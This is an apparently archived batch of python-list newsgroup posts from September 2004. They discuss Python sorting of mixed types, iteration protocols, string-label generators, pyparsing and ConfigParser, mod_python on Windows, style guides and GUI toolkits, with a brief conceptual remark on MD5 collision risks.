<loom.20040921T192348-961@post.gmane.org> <864d37090409211107302ef8a5@mail.gmail.com> <mailman.3667.1095791394.5135.python-list@python.org> Message-ID: <%e04d.6521$gG4.1383@newsread1.news.pas.earthlink.net> Steven Bethard wrote: > Presumably you could change how sort works so that it first stratifies > the list by type, and then sorts for each type. The types would then > be ordered arbitrarily (perhaps by the id of their type?)... Might > slow down the normal-case sort though... You've just about explained what Python does with the types themselves cannot be compared. It took a lot of work to get mostly correct. Consider an old bug which was seen when doing 5 < [4] [4] < 3L 3L < 4 Is 5 < [4]? They can't be compared directly so Python used to compare type names. Is "int" < "list"? Yes. Is [4] < 3L? Those instances can't be compared but the type names can, so that is "list" < "long"? Yes. Is 3L < 4? Yes, because those two *can* be compared directly. Therefore I've just shown that 5 < 4. Any sort that falls back to comparisons based on type will have this problem because the sort ordering defined on instances does not need to agree with the ordering defined on types. As I recall, Python "fixed" it by using "" as the type name when doing a comparison that involves a numeric. It's still a hack and there are ways to get around it. > Yeah, by restricting comparisons, we'd be basically saying that sort > is only defined for lists that take the form list<some_type>. or where a compare function can be passed to .sort(), or where (in 2.4) a keys function can be passed to get the objects used for the comparison. Why is this a problem? Python's philosophy includes "In the face of ambiguity, refuse the temptation to guess." If you want sort to guess, tell it how to guess. Andrew dalke at dalkescientific.com From smcg4191 at frii.RimoovThisToReply.com Sun Sep 19 10:48:11 2004 From: smcg4191 at frii.RimoovThisToReply.com (Stuart McGraw) Date: Sun, 19 Sep 2004 08:48:11 -0600 Subject: Determining if a client PC has an Internet connection References: <1095578301.31957.263.camel@devilbox.devilnet.internal><cijkdj$2bl$1@sea.gmane.org> <mailman.3499.1095589700.5135.python-list@python.org> Message-ID: <414d9c34$0$58894$75868355@news.frii.net> "Cliff Wells" <clifford.wells at comcast.net> wrote in message news:mailman.3499.1095589700.5135.python-list at python.org... [...snip...] > As I mentioned in another post, it seems a reasonable solution would be > to determine the PC's DNS search path and then try those hosts. If they > are unreachable then assume the connection is down. This would seem to > be reasonably cross-platform (although admittedly, exactly how this is > done would probably vary across platforms) I'm not sure this is 100% reliable either. I have several PCs on a home network with a Linux box running a local caching DNS server that is the primary (and sole) DNS server for the Windoze boxes.. That server is always reachable even when my modem internet connection is down. From steven.bethard at gmail.com Tue Sep 7 13:23:32 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 7 Sep 2004 17:23:32 +0000 (UTC) Subject: docs on for-loop with no __iter__? References: <mailman.2873.1094321890.5135.python-list@python.org> <bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net> <mailman.2879.1094332737.5135.python-list@python.org> <Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net> <mailman.2883.1094340967.5135.python-list@python.org> <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net> <mailman.2913.1094451430.5135.python-list@python.org> <1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com> <mailman.2944.1094506599.5135.python-list@python.org> <1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com> <mailman.2955.1094538759.5135.python-list@python.org> <1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com> <mailman.2962.1094543082.5135.python-list@python.org> <1gjqq4n.ymzsqv1qptuk5N%aleaxit@yahoo.com> Message-ID: <loom.20040907T185824-17@post.gmane.org> Alex Martelli <aleaxit <at> yahoo.com> writes: > It's partly a matter of "look before you leap" versus "easier to ask > forgiveness than permission", a conceptual distinction that IS quite a > hobby-horse of mine (although "practicality beats purity", mind you. Well, in either case, someone is looking before they leap. If __len__ is checked in the protocol, then the protocol (i.e. the Python interpreter) has to do the looking. Otherwise, the programmer has to do the looking to determine when to raise the IndexError. Hmm... Though I guess it kinda depends what you do in your __getitem__... The example we've been looking at was something like: class S: def __len__(self): return 42 def __getitem__(self, i): if 0 <= i < len(self): return i raise IndexError, i So in this case, the programmer has to "look before they leap" (hence the if statement). But in a more realistic situation, I can see that maybe you could just "ask forgivenesss instead of permission": class T: def __init__(self, data): self.data = data def __len__(self): return len(self.data) def __getitem__(self, i): try: return self.data[i] except (IndexError, KeyError): raise IndexError, i No look-ahead here -- assume you'll usually get valid indices and catch the exception if you don't. From deetsNOSPAM at web.de Wed Sep 1 12:16:21 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Wed, 01 Sep 2004 18:16:21 +0200 Subject: initializing mutable class attributes References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com><1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com><eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com><1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com><8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com><1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com><iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com> <m3n00aggxu.fsf@g2ctech.com> <unmZc.157756$UTP.69766@twister01.bloor.is.net.cable.rogers.com> Message-ID: <ch4skh$223$04$1@news.t-online.com> Dan Perl wrote: > My mistake. You're right, and it's all because of the inheritance from > 'object', which probably defines a default, empty, __init__. I haven't > made a habit of subclassing from 'object' yet and I see that I'll have to > do > that. Thanks. You can safely remove the object as ancestor - it works with old-style classes, too. -- Regards, Diez B. Roggisch From heikowu at ceosg.de Mon Sep 20 05:43:19 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Mon, 20 Sep 2004 11:43:19 +0200 Subject: python is going to die! =( In-Reply-To: <du7fz5dqo2e.fsf@amadeus.cc.tut.fi> References: <mailman.3520.1095631846.5135.python-list@python.org> <mailman.3524.1095636290.5135.python-list@python.org> <du7fz5dqo2e.fsf@amadeus.cc.tut.fi> Message-ID: <200409201143.19581.heikowu@ceosg.de> Am Montag, 20. September 2004 11:36 schrieb Ville Vainio: > I don't really believe in extrapolating too much from the textual > characteristics of your post, but I think you'd do much better by > picking a statically typed language like C# for your proyects. LOLOL! +1 for comment of the week... Heiko. From steven.bethard at gmail.com Wed Sep 22 04:36:11 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 22 Sep 2004 08:36:11 +0000 (UTC) Subject: Python 3.0, rich comparisons and sorting order References: <864d370904092109509df67ee@mail.gmail.com> <loom.20040921T192348-961@post.gmane.org> <20040921173455.GB2891@unununium.org> <loom.20040921T193847-890@post.gmane.org> <20040921182934.GA9959@unununium.org> <mailman.3673.1095792247.5135.python-list@python.org> <1gkic4n.18qxgoup1mzdhN%aleaxit@yahoo.com> Message-ID: <loom.20040922T102549-6@post.gmane.org> Alex Martelli <aleaxit <at> yahoo.com> writes: > > I wrote: > ... > > (2) "is there a good use case for wanting to make a mapping with keys that > > have incompatible types?" (my question to you) > > > > To some degree, (1) has already been answered to my satisfaction by Carlos > > Ribeiro's spreadsheet example. If you could give me a real world example > > of when you'd want to do (2), I might be more convinced... > > Does my example of 'tuples as concrete representations of expressions' > which I posted to another subthread of this thread help? Yeah, thanks. It's still definitely not the kind of computation that 99% of users are going to want to do, but if you wanted to memoize such tuples and you also expected hashing said tuples to be more expensive than cmp'ing them, I can see that the mapping you replace dict with would need to be able to sort disparate types. 'Course rather than wrap your expression tuples in a class to define the __cmp__ function, it seems like a more reasonable solution might be to make the arbitrary cmp decision in the mapping class (the one implemented as a BTree). If __cmp__ starts raising TypeErrors, your code could do something like: def insert(self, val): try: c = cmp(self.val, val) except TypeError: c = -1 # self.val and val were not of the same type # make some arbitrary decision here ... # insert according to cmp result Does take more work than it would now -- forces the arbitrary decision onto the BTree writer, instead of doing it automatically in cmp... How much more work really depends on how complicated your 'arbitrary' scheme is... Steve From mwh at python.net Fri Sep 17 08:32:54 2004 From: mwh at python.net (Michael Hudson) Date: Fri, 17 Sep 2004 12:32:54 GMT Subject: Small inconsistency between string.split and "".split References: <mailman.3241.1095094663.5135.python-list@python.org> <LJSdnepvP_vbSdjcRVn-hg@powergate.ca> <864d370904091310411a2cf435@mail.gmail.com> <20040913175927.GB4646@siliconimage.com> <864d370904091311095be3e08c@mail.gmail.com> <4146C179.5000404@livinglogic.de> <mailman.3311.1095172226.5135.python-list@python.org> <1gk9f6p.55wfdn1y3amuxN%aleaxit@yahoo.com> Message-ID: <m3oek56poq.fsf@pc150.maths.bris.ac.uk> aleaxit at yahoo.com (Alex Martelli) writes: > Having ALL C-coded functions and methods that accept any argument > accept keyword-style arguments in particular would surely lead to a > more consistent language, [...] This whole area isn't particularly pretty. In general it would be better to expose more of an extension functions signature *outside* the function, for efficiency, introspection and even things like psyco. METH_O, METH_NOARGS are a step in this direction -- but you can't pass a keyword argument to a METH_O function (not that one would want to, very often, but it's still a potential inconsistency). I wonder what Pyrex does... My thoughts on this area, like many others, can probably be summarized as "I hate C". Cheers, mwh -- Enlightenment is probably antithetical to impatience. -- Erik Naggum, comp.lang.lisp From CarlosRivera at badnamefornospam.to Thu Sep 23 03:02:02 2004 From: CarlosRivera at badnamefornospam.to (CarlosRivera) Date: Thu, 23 Sep 2004 07:02:02 GMT Subject: python is going to die! =( In-Reply-To: <878yb2elye.fsf@blakie.riol> References: <mailman.3520.1095631846.5135.python-list@python.org> <10ksur1ou8hb777@corp.supernews.com> <2rafspF17n18jU1@uni-berlin.de> <0f71l09s44fu9rtg6lrte3qeicgu40off1@4ax.com> <878yb2elye.fsf@blakie.riol> Message-ID: <Kxu4d.448$JG2.420@newssvr14.news.prodigy.com> I got F'ing annoyed when I had to use VB because it forced one to write a GUI. I just wanted to write a simple program that would send output to stdout. I had to create a list box and append each line. Of course, I could not pipe the output of that program into another program. Screw GUI programs! Just kidding. I don't like to be forced to do either. It nice to be able to do whatever one needs. If I had to write a GUI program with python, I am not sure what I would use. I am not asking which to use. I am just making a comment. Wilk wrote: > Don't forget that there is a lot of developers who don't need any gui, > or need a very specific gui. But every developers need python the > langage and the standard lib... From carribeiro at gmail.com Sun Sep 26 00:40:04 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sun, 26 Sep 2004 01:40:04 -0300 Subject: up with PyGUI! In-Reply-To: <cj5fpt$cla$0$216.39.172.122@theriver.com> References: <mailman.3318.1095180577.5135.python-list@python.org> <mailman.3855.1096035438.5135.python-list@python.org> <Xns956EDE04B1B03OKB@130.133.1.4> <mailman.3907.1096136449.5135.python-list@python.org> <Xns956F822D03E24OKB@130.133.1.4> <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com> <864d370904092515311da67bb6@mail.gmail.com> <mailman.3917.1096163923.5135.python-list@python.org> <Xns956FC698DBC7DOKB@130.133.1.4> <cj5fpt$cla$0$216.39.172.122@theriver.com> Message-ID: <864d370904092521403f34b7d7@mail.gmail.com> On 26 Sep 2004 04:15:57 GMT, Bengt Richter <bokr at oz.net> wrote: > I could see a way to write this in terms of instances. Also playing a trick so that keyword > arg CC=True would return a custom class instead of an instance, for repeated use of a > particular customization: > > CustButtton = Button(CC=True, bgcolor='lightgreen', namefmt='cbtn%s', nextnameno=100) > CustistBox = ListBox(CC=True, kind=ListBox.DROPDOWN, width=40, maxdrop=10) # default namefmt is cls.__name__+'%s' > > myFrame = ( > Frame( > Sizer( > CustButton(size= ... etc), > CustButton(size= ... etc), > Panel( > Sizer( > CustListBox(etc), > CustListBox(etc), > CustButton(etc), > Text( etc ) > ) > ) > ) > ) > ) > It may sound like a silly excuse, but this sequence of closing parenthesis is as unpythonic as it could be :-) In practice, it does keep some of the proposed advantages of our little class creation system. In theory, it's still different, because it's imperative, not declarative. Is it a big difference? Maybe it doesn't sum up to anything that big. I really don't know -- I'm still inclined to work with the class declaration as a better, more concise and consistent way to do what I want. But I concede that I'm lacking good arguments -- it's more a 'hunch' than something that I can really argue about. For now, it's more about "trust me, it will work" than anything else... -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From exarkun at divmod.com Wed Sep 15 23:52:49 2004 From: exarkun at divmod.com (exarkun at divmod.com) Date: Thu, 16 Sep 2004 03:52:49 GMT Subject: Incrementing a string In-Reply-To: <pan.2004.09.15.22.08.19.894702@cox.net> Message-ID: <20040916035249.29723.532772673.divmod.quotient.1646@ohm> On Wed, 15 Sep 2004 15:08:20 -0700, John Velman <velman at cox.net> wrote: > [snip] > > In Python I can get from a to z with a generator as so: > > >>> def gen_alph(): > ... for i in range(97,123): > ... yield chr(i) > ... > >>> g = gen_alph() > >>> g.next() > 'a' > >>> g.next() > 'b' > >>> g.next() > 'c' > > But it looks like going beyond z to aa and so on is (relatively) complicated. Not so complicated... Here's how I might do it: >>> def permute(s, n): ... if n == 0: ... yield '' ... else: ... for ch in s: ... for rest in permute(s, n - 1): ... yield ch + rest ... >>> def labels(s): ... length = 1 ... while True: ... for lab in permute(s, length): ... yield lab ... length += 1 ... >>> import itertools >>> print list(itertools.islice(labels('abc'), 0, 20)) ['a', 'b', 'c', 'aa', 'ab', 'ac', 'ba', 'bb', 'bc', 'ca', 'cb', 'cc', 'aaa', 'aab', 'aac', 'aba', 'abb', 'abc', 'aca', 'acb'] Jp From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org Thu Sep 2 22:49:44 2004 From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan) Date: Fri, 03 Sep 2004 02:49:44 -0000 Subject: Xah Lee's Unixism References: <slrncjf0iv.7vj.a.krey@inner.h.uberluser.org> Message-ID: <10jfmu8d0bt4n8b@corp.supernews.com> # That is not the problem; one can do memory management and multiple # address spaces in external hardware as well. But the MacOS architecture # obviously wanted to be all in one address space, as did the early # windows versions. This makes GUI easier and networking and fault # isolation harder, but it's a valid tradeoff. :-) Not really. It was known to be a problem from the first Multi-Finder. The original Macs only ran one application at a time, and had to halt and return to Finder to run another. That continued till the Multi-Finder in system 6 (or 5?), and officially enshrined in system 7. By that time Apple already knew it was dead end operating system and started and aborted a number of successors, and continued warnings that all the low level interfaces would disappear Real Soon Now. Even implementing on the PPC caused all sorts of compatiability problems. On the other hand I'm still running 68K programs on MacOSX. -- SM Ryan http://www.rawbw.com/~wyrmwif/ I have no idea what you just said. I get that alot. From peter at engcorp.com Fri Sep 24 16:22:55 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 Sep 2004 16:22:55 -0400 Subject: Module Pygame - "FadeOut" text In-Reply-To: <Xns956EA2C3C476BaskariaddressNonVali@207.35.177.135> References: <Xns956E4F8F8C192askariaddressNonVali@207.35.177.135> <mailman.3868.1096052483.5135.python-list@python.org> <Xns956EA2C3C476BaskariaddressNonVali@207.35.177.135> Message-ID: <kIudncaur-OCH8ncRVn-iA@powergate.ca> Askari wrote: > "Terry Reedy" <tjreedy at udel.edu> wrote: >>There is a separate mailing list for Pygame, a third-party package. >>It can be accessed as a newsgroup via news.gmane.org >>as gmane.comp.python.pygame. >> > I DON'T WANT use this mail list! I don't want subscribe anythink for > this info! ... News group "comp.lang.python" is the best place that I > find with no subcribtion! Feel free to post here... you will be limiting your responses to a very small subset of the potential responses you'd get if you used the darn mailing list, but nobody is forcing you to use the mailing list. By all means post here. Just don't complain if you get few or no responses. > Understand Terry! (it's not the first time that you send that message) With good reason. I'd be surprised if he sends it again, for you, however, after your incredible rudeness to someone trying to help. > And why I can't request info for a third-party package on this group? > It's python, a "third-party package", yes, but it's too python... :-| See above. This newsgroup is very general and does handle questions on the entire range of Python topics, but for certain things the *best* advice you'll get here is to check the specific mailing list for the package you are using. Whether it's Zope, wxPython, Twisted, or yes, even PyGame, you'll do much better with the mailing list. But *nobody is forcing you to subscribe*, just providing helpful advice in a friendly manner. You were, IMHO, way out of line in your reaction to Terry's well-meaning suggestion. -Peter From nigel.king at orthogonsystems.com Wed Sep 29 13:38:06 2004 From: nigel.king at orthogonsystems.com (Nigel King) Date: Wed, 29 Sep 2004 18:38:06 +0100 Subject: multiple instance on Unix Message-ID: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> Hi, I have (my son has!) implemented protection against multiple instances causing havoc by creating a directory. This fails if it exists and thus in a single instruction one gets both the acquire and the test. Windows has it's mutex which solves the problem. Is there any better version for UNIX. Thanks Nigel King From peter at engcorp.com Tue Sep 28 15:55:33 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 28 Sep 2004 15:55:33 -0400 Subject: os.system vs. Py2Exe In-Reply-To: <81a41dd.0409280200.1a74edd1@posting.google.com> References: <81a41dd.0409280200.1a74edd1@posting.google.com> Message-ID: <Rd2dneVBGfQrXMTcRVn-jQ@powergate.ca> Lad wrote: > I used Py2exe to compile my script( I use XP). > The compiled script works OK on my XP where Python is installed. > But when I install the compiled exe to another computer, What operating system is the other computer running? From http Sun Sep 12 22:46:52 2004 From: http (Paul Rubin) Date: 12 Sep 2004 19:46:52 -0700 Subject: MD5 and SHA cracked/broken... References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no> <slrncka03t.2a1q.kirk@eyegor.jobsluder.net> Message-ID: <7xacvuyjfn.fsf@ruckus.brouhaha.com> Kirk Job-Sluder <kirk at eyegor.jobsluder.net> writes: > It should also be mentioned that "broken" in terms of Cryptography is a > bit different from how we think about computer security in general. > "Broken" in this case means that there exists a known algorithm that > makes it easier than a brute force attack to violate one or more of the > desired properties for a good hash algorithm. It DOES NOT mean that a > practical exploit exists for MD5 that permits one to slip a trojan into > downloaded files or crack a password file. There are easier ways to > plant a trojan than to create an identical MD5 hash, or crack a password > file than to try to break preimage resistance. You don't need preimages to plant a trojan. If you can create mere collisions, you can create two files, one with a trojan and one without a trojan, that have the same md5sum. You publish the non-trojan one, people inspect it carefully and start using it, and download sites say that its md5sum should be so-and-so. Now you can replace the non-trojan file with the trojan version and the md5sum will still verify. From davidf at sjsoft.com Fri Sep 3 15:52:40 2004 From: davidf at sjsoft.com (David Fraser) Date: Fri, 03 Sep 2004 21:52:40 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <mailman.2825.1094216861.5135.python-list@python.org> References: <mailman.2825.1094216861.5135.python-list@python.org> Message-ID: <chai28$pd8$1@ctb-nnrp2.saix.net> Marco Aschwanden wrote: > I just read the changes for 2.4 and while scanning the list the past > tense built-ins got my attention: > > sorted() - a new builtin sorted() acts like an in-place list.sort() but > can be used in expressions, as it returns a copy of the sequence, sorted. > > reversed() - a new builtin that takes a sequence and returns an iterator > that loops over the elements of the sequence in reverse order (PEP 322) > > > sort() works in-place. > reverse() works in-place. > How about reversed() returning a sequence, like sorted does, but adding an iterator function called riter or reverseiter to iterate over sequences in reverse order. That would then be similar to the iter builtin. You could have a sortediter as well David From ml at dynkin.com Tue Sep 14 10:37:33 2004 From: ml at dynkin.com (George Yoshida) Date: Tue, 14 Sep 2004 23:37:33 +0900 Subject: Style conventions for Python code In-Reply-To: <4146fe4c$0$22760$db0fefd9@news.zen.co.uk> References: <4146fe4c$0$22760$db0fefd9@news.zen.co.uk> Message-ID: <ci6vlv$1ahn$1@dojima-n0.hi-ho.ne.jp> Will McGugan wrote: > Is there a recommended coding style for Python documented anywhere? > Fortunately there will be no endless debates on proper indentation and > where to put braces ;) But I wonder if there is explicit 'Pythonic' > naming conventions and ways of structuring code.. PEP-8 is exactly what you're looking for! Style Guide for Python Code http://www.python.org/peps/pep-0008.html - george From raoul.daruwala at gmail.com Tue Sep 21 18:41:56 2004 From: raoul.daruwala at gmail.com (Raoul) Date: 21 Sep 2004 15:41:56 -0700 Subject: Pyparsing... References: <7b22ae5b.0409201639.7837fca9@posting.google.com> <A6SdnQwInMbf183cRVn-qQ@comcast.com> Message-ID: <b668fd07.0409211441.64bc0f0c@posting.google.com> Larry, This is an elegant little python! Thanks for you help. I am actually trying to use pyparsing, not just in my project but as a learning experience. I think pyparsing has a lot of potential. I'm making progress but I am running into bugs with my pyparsing grammar. R-S "Larry Bates" <lbates at swamisoft.com> wrote in message news:<A6SdnQwInMbf183cRVn-qQ at comcast.com>... > Note: The Cellheader layout and the cell data > layout don't appear to match properly (when > compared to the data you show in your sample > dictionary). My solution follows the cellheader > layout. > > The format of your data file is perfect to be > parsed with ConfigParser with [QC1] as section > name and Type, NumberCells, etc. as options. > > import ConfigParser > > inputfilename='data.ini' # Insert input filename > INI=ConfigParser.ConfigParser() > INI.read(inputfilename) > data={'type': None, 'numbercells': None, 'table':{}} > > section='QC1' > option='type' > try: data['type']=INI.getint(section, option) > except: > # > # Insert code to handle missing type option > # > pass > > option='numbercells' > try: data['numbercells']=INI.getint(section, option) > except: > # > # Insert code to handle missing numbercells option > # > pass > > option='cellheader' > try: data['cellheader']=INI.get(section, option) > except: > # > # Insert code to handle missing numbercells option > # > pass > > CELLS=[x for x in INI.options(section) > if x.startswith('cell')] > > # > # Must get rid of 'cellheader' or maybe change the key name? > # > CELLS=[x for x in CELLS if x != 'cellheader'] > > celldatalist=[] > for CELL in CELLS: > celldata={} > x, y, probe, plen, atom, index=INI.get(section, CELL).split(' ') > celldata['cell']=int(CELL[4:]) > celldata['x']=int(x) > celldata['y']=int(y) > celldata['plen']=plen > celldata['atom']=int(atom) > celldata['index']=int(index) > celldatalist.append(celldata) > > data['table']=celldatalist > > > This is tested so it should be close (I do this quite a lot in > my code). > > You could wrap a loop around the outside of this if you have > multiple QC instances. > > Hope it helps. > Larry Bates > > > > "Raoul" <raoulsam at yahoo.com> wrote in message > news:7b22ae5b.0409201639.7837fca9 at posting.google.com... > >I am futzing with pyparsing and for the most part enjoying it. > > However, I'm running into trouble with whitespace delimited lists. I > > get data in blocks like this: > > > > [QC1] > > Type=15 > > NumberCells=1925 > > CellHeader=X Y PROBE PLEN ATOM INDEX > > Cell1=132 0 N 25 0 132 > > Cell2=652 0 N 25 0 652 > > Cell3=648 0 N 25 0 648 > > ... > > > > I'd like to be able to parse this structure. > > > > Ideally, I'd like for a QC node, to have a dictionary with > > {'number':1 > > 'type' : 15 > > 'NumberCells' : 1925 > > 'Table' : [{'cell':1,'x':132,'y':0,'probe':25,'plen':0,'atom':132', > > 'index':None}, {'cell':2 .... > > > > I'm running into the following problems: > > > > 1. I can't seem to use delimitList() to define a rule that parses the > > right hand side of the table into > > ['x','y','probe','plen','atom','index']. I think it's because my lists > > are whitespace delimited. > > > > 2. I can't seem to convert value into an integer, for example, I can > > parse each row in the table to : > > ['Cell','2','=', '652 0 N 25 0 652'] > > but am unable to get the setParseAction(see below) to convert and > > substitute in the right value. > > > > Any hints will help a great deal. Thanks... > > > > Raoul-Sam > > > > > > I have some ugly non functional code below.. > > > > def cdffile_BNF(): > > global cdfbnf > > > > if not cdfbnf: > > makeint = Word(nums).setParseAction( lambda s,l,t:[int(t[0])]) > > equals = Literal("=").suppress() > > nonequals = "".join( [ c for c in printables if c != "=" ] ) + > > " \t" > > > > key = Word(nonequals) > > value = Word(nonequals) > > kvp = Group(key + equals + restOfLine) > > kvpBlk = OneOrMore(kvp) > > > > headerCell = delimitedList(Word(alphanums)," ") > > rowHeader = Combine( Literal("CellHeader") + equals + > > headerCell) > > row = Combine(Literal("Cell").suppress() + restOfLine) > > rows = OneOrMore(row) > > > > CDF = Literal("[CDF]") > > CDFBlk = Group(CDF + kvpBlk) > > > > CHIP = Literal("[CHIP]") > > CHIPBlk = Group(CHIP + kvpBlk) > > CHIPBlk.setResultsName("chip") > > > > QC = Combine( Literal("[QC").suppress() + Word(nums) + > > Literal("]").suppress()) > > QCBlk = QC + kvp + kvp + rowHeader + rows > > > > cdfbnf = CDFBlk + CHIPBlk + QCBlk > > > > return cdfbnf From aleaxit at yahoo.com Fri Sep 3 02:11:35 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 3 Sep 2004 08:11:35 +0200 Subject: namespace question References: <OAFZc.303096$gE.251089@pd7tw3no> Message-ID: <1gji17e.osu4j01dj6qkmN%aleaxit@yahoo.com> Elaine Jackson <elainejackson7355 at home.com> wrote: > I would like to be able to write a function f, which will live in a module M, > and will call a function g, such that, when f is imported from M into the > interpreter, and invoked there, its invokation of g will return the > interpreter's global namespace. Is there a way to do this and, if so, how? > Muchas gracias for any and all assistance. There is no "interpreter global namespace". If you mean the namespace of the calling module (which could be the interactive session's __main__ if that's who did the importing) you can get there via sys._getframe -- it's meant for debugging purposes (note the leading underscore) but it will work. If you mean the namespace of __main__ (which could be the interactive session if there is one) you can get the __main__ module anywhere as sys.modules['__main__'] and a vars call around that will give the module's dictionary (which is, I assume, what you mean by namespace). Alex From davidf at sjsoft.com Thu Sep 2 17:30:05 2004 From: davidf at sjsoft.com (David Fraser) Date: Thu, 02 Sep 2004 23:30:05 +0200 Subject: Installation of mod_python 3.1.3 on Apache 2.0.50 on Windows Me/Win2k In-Reply-To: <39cbe663.0409021109.6c3983b@posting.google.com> References: <39cbe663.0408290850.14452ab9@posting.google.com> <cgvhq2$pur$1@ctb-nnrp2.saix.net> <39cbe663.0409021109.6c3983b@posting.google.com> Message-ID: <ch83cu$ndc$1@ctb-nnrp2.saix.net> Piet wrote: > David Fraser <davidf at sjsoft.com> wrote in message news:<cgvhq2$pur$1 at ctb-nnrp2.saix.net>... > >>This error was found when installing the original mod_python 3.1.3 for >>Windows installer on a non-Admin install of Python. You'll probably find >>that the registry does exist, but under HKEY_CURRENT_USER, not >>HKEY_LOCAL_MACHINE. >> >>In fact mod_python has actually been installed correctly, but the >>instructions about changing your apache configuration have not been >>given, and the mod_python library hasn't been copied into the Apache >>directory. >> >>These issues should all be fix in the latest win32 build of mod_python >>available from >>http://davidf.sjsoft.com/files/mod_python-3.1.3-1.win32-py2.3.exe >> >>Need to get Grisha to release this... >> >>I would recommend removing the Scripts/win32_postinstall.py file before >>running it... >> >>Hope that helps, if you have errors report them here or on the >>mod_python mailing list. >> >>David > > > Hi David. > The new version worked, and I am looking forward exploring server-side > cgi-scripting with my favorite programming language. Any reason why > the new installer is not released? > Thx > Peter Hi Peter I haven't had that much time to devote towards getting people to test and give a thumbs up which is a requirement before a release. So if you want to help please sign up to the mod_python list and say what happened to you... Thanks for the feedback Cheers David From elainejackson7355 at home.com Thu Sep 16 22:43:15 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Fri, 17 Sep 2004 02:43:15 GMT Subject: what's the deal of "_" in Python? References: <mailman.3416.1095372913.5135.python-list@python.org> Message-ID: <7bs2d.447484$gE.373574@pd7tw3no> The python interpreter understands "_" as a reference to the last value it computed, exactly analogous to "%" in the maple interpreter if you're familiar with that. I think it's also used as a (loop-) variable name with the implication that the variable will never be referenced. (Personally I like to use the name "anonymous" for that purpose.) From claird at lairds.us Sat Sep 25 09:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Sat, 25 Sep 2004 13:08:05 GMT Subject: Don't let your babies grow up to be programmers References: <mailman.3318.1095180577.5135.python-list@python.org> <278de0e.0409231337.1a032135@posting.google.com> <ddd9l056mf2ag7m97uhk6pc10h5m93fnrl@4ax.com> <1gknx0k.m09llxutwktbN%aleaxit@yahoo.com> Message-ID: <g66g22-hrr.ln1@lairds.us> In article <1gknx0k.m09llxutwktbN%aleaxit at yahoo.com>, Alex Martelli <aleaxit at yahoo.com> wrote: . . . >South Park movie?! In such a case the US is basically stating, "we're >the 500-pounds gorilla, rules apply to lesser countries, not us, so >there". And that's wrt their closest neighbor and friend -- AND for >incredibly myopic reasons too. Canada's cheap wood obviously HELPS >crucial US industries such as construction (US house construction uses >MUCH more wood than we do in Europe)... but the wood-loggers' lobby is >strong enough in a key swing state, Oregon (and to some extent >Washington, too, I believe), to perhaps swing the next presidental >election, if it's as close as many think... so, forget the rules and all >the nice words, might makes right. > >_Some_ US observers are clear-sighted enough to see how much hate this >kind of behavior builds up in the world over the years. But obviously >not enough. > >The cases of cotton and sugar, with subsidies and help from tariffs >amounting to over 100,000 dollars per each of the few thousands of lucky >US cotton and sugar growers who benefit from it, are other good >examples. They're likely to end up in front of the WTO, but it doesn't >really matter because there, for once, the US isn't even _claiming_ an >antidumping issue. Similarly for the huge hidden subsidy to growers of >fruit and even rice (!) in the parched fields of Southern California in >terms of essentially free water in ridiculous quantities (that's >unlikely to become a trade/subsidy issue, but with good water growing >scarcer in the region it's been causing tension with Mexico for a while, >and the tension is growing) - and at a time when millions of Californian >in cities have had problems with water scarcity, too. . . . While we're piling on, Alex, let's review the political message this conveys to third-world citizens: involve yourself in terrorism and/or drug trafficking, and the US pays attention, and spreads money around; but clean up your economy, promote civic improvement, hold just elections, institute the rule of law, and (as has more or less happened throughout the Caribbean, Egypt, Chile, Sri Lanka, various African countries, ...) the US will be sure to slap you down for threatening its sugar or textile or produce or programming or ... protectorates. Is "Globalization" just advertising for a refinement of imperialism? Of course not, to those of us fundamentally aligned with the progressivism on display in, to echo your example, *The Econo- mist*. At the same time, US external political policies could hardly do more to convince the world *the US believes this reactionary claptrap*. It makes one weep. I struggle to bring this all back on-topic. Mention of <URL: http://www.pbs.org/cringely/pulpit/pulpit20040923.html > is my current attempt. From dalcolmo at vh-s.de Tue Sep 21 09:42:53 2004 From: dalcolmo at vh-s.de (Josef Dalcolmo) Date: Tue, 21 Sep 2004 13:42:53 +0000 Subject: up with PyGUI! References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com> <2qvc54F143difU1@uni-berlin.de> <m3k6utyn47.fsf@g2ctech.com> <mailman.3456.1095433403.5135.python-list@python.org> Message-ID: <20040921134253.000028d1@titan> on Fri, 17 Sep 2004 12:02:17 -0300 Carlos Ribeiro <carribeiro at gmail.com> wrote: CR> As far as I know, no open source tool is close to the quality that CR> professional tools like Adobe Acrobat can give to you. Part of the Maybe as far as features are concerned. However I changed from MS-Word + Acrobat to OpenOffice.org on a large document (output is in PDF format), simply because Acrobat (and pdfwriter) kept 